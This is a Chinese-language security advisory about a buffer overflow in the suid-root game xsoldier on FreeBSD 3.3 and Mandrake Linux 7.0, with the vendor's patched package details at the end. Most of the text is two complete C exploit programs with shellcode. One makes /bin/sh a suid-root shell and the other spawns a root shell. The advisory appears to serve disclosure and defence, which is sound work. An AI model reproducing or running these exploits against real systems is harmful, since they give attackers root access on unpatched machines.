发布日期：1999-12-16
更新日期：2000-05-21

受影响系统：

FreeBSD 3.3
Linux Mandrake 7.0

描述：

---

某些FreeBSD版本(现在只测试了FreeBSD 3.3-RELEASE)和Linux（Mandrake 7.0)的X11游戏
软件包中带了一个游戏程序xsoldier,它缺省被设置了suid root位,因此它可以在X windows
的控制台运行.

这个程序自身存在一个缓冲区溢出的漏洞,有可能被用来非法获得root权限.问题出在程序处理
"-display"(指定显示内容将被送到哪个X server)参数的部分.攻击者并不需要指定一个有效的
$DISPLAY变量,只需要在命令行提供一个很长的字符串作为"-display"的参数,就有可能发生缓
冲区溢出.


<* 来源：Brock Tellier (btellier@usa.net)
        Larry W. Cashdollar (lwc@vapid.dhs.org)
*>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*
* xsoldier exploit for Freebsd-3.3-RELEASE
* Drops a suid root shell in /bin/sh
* Brock Tellier btellier@usa.net
*/


#include <stdio.h>

char shell[]= /* mudge@l0pht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";

#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"

void buildui() {
FILE *fp;
  char cc[100];
  fp = fopen("/tmp/ui.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  system(cc);
}

main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4400;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
buildui();

if (argv[1]) {
   offset = atoi(argv[1]);
   eip = eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<btellier@usa.net>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

for ( x = 0; x < 4325; x++) buf[x] = 0x90;
     fprintf(stderr, "NOPs to %d\n", x);

for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
     fprintf(stderr, "Shellcode to %d\n",x);
  
  buf[x++] =  eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
     fprintf(stderr, "eip to %d\n",x);

buf[bsize]='\0';

execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);

}

==================== xsol-x.c ====================================================

/*Larry W. Cashdollar linux xsolider exploit.
*lwc@vapid.dhs.org http://vapid.dhs.org
*if xsolider is built and installed from its source it will be installed
*setuid root in /usr/local/games
*original exploit found by brock tellier for freebsd 3.3 ports packages.
*If a setregid() call is placed in the shellcode, you can get egid=12
*with the default mandrake installation.*/


#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90        /*no operation skip to next instruction. */
#define LEN 4480            /*our buffersize. */


char shellcode[] =        /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
  "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
  "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
  "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
  "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
  "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
  "\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i, offset;
  long retaddr = get_sp ();

  if (argc <= 1)
    offset = 0;
  else
    offset = atoi (argv[1]);

/*#Copy the NOPs  in to the buffer leaving space for shellcode and
  #pointers*/

  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) = NOP;

/*[NNNNNNNNNNNNNNNNNNNNN                            ]*/
/*                      ^-- LEN -(strlen(shellcode)) - 35*/
/*#Copy the shell code into the buffer*/

  memcpy (buffer + i, shellcode, strlen (shellcode));

/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS            ]*/
/*                      ^-(buffer+i)                 */
/*#Fill the buffer with our new address to jump to esp + offset */

  for (i = i + strlen (shellcode); i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr+offset;

/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/
/*                                      ^-(i+strlen(shellcode))*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN);
  execl ("/usr/local/games/xsoldier", "xsoldier", "-display", buffer, 0);

}




建议：

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Mandrake Linux建议更新到最新版本的xsoldier软件包:

a3836c0ef3c2e7630d80e2426f03d6a9 xsoldier-0.96-13mdk.i586.rpm
0d79b8ab9cfc4278380537bfda8da6ba xsoldier-0.96-13mdk.src.rpm

这两个包可以在下列地址下载：
http://www.linux-mandrake.com/en/ftp.php3

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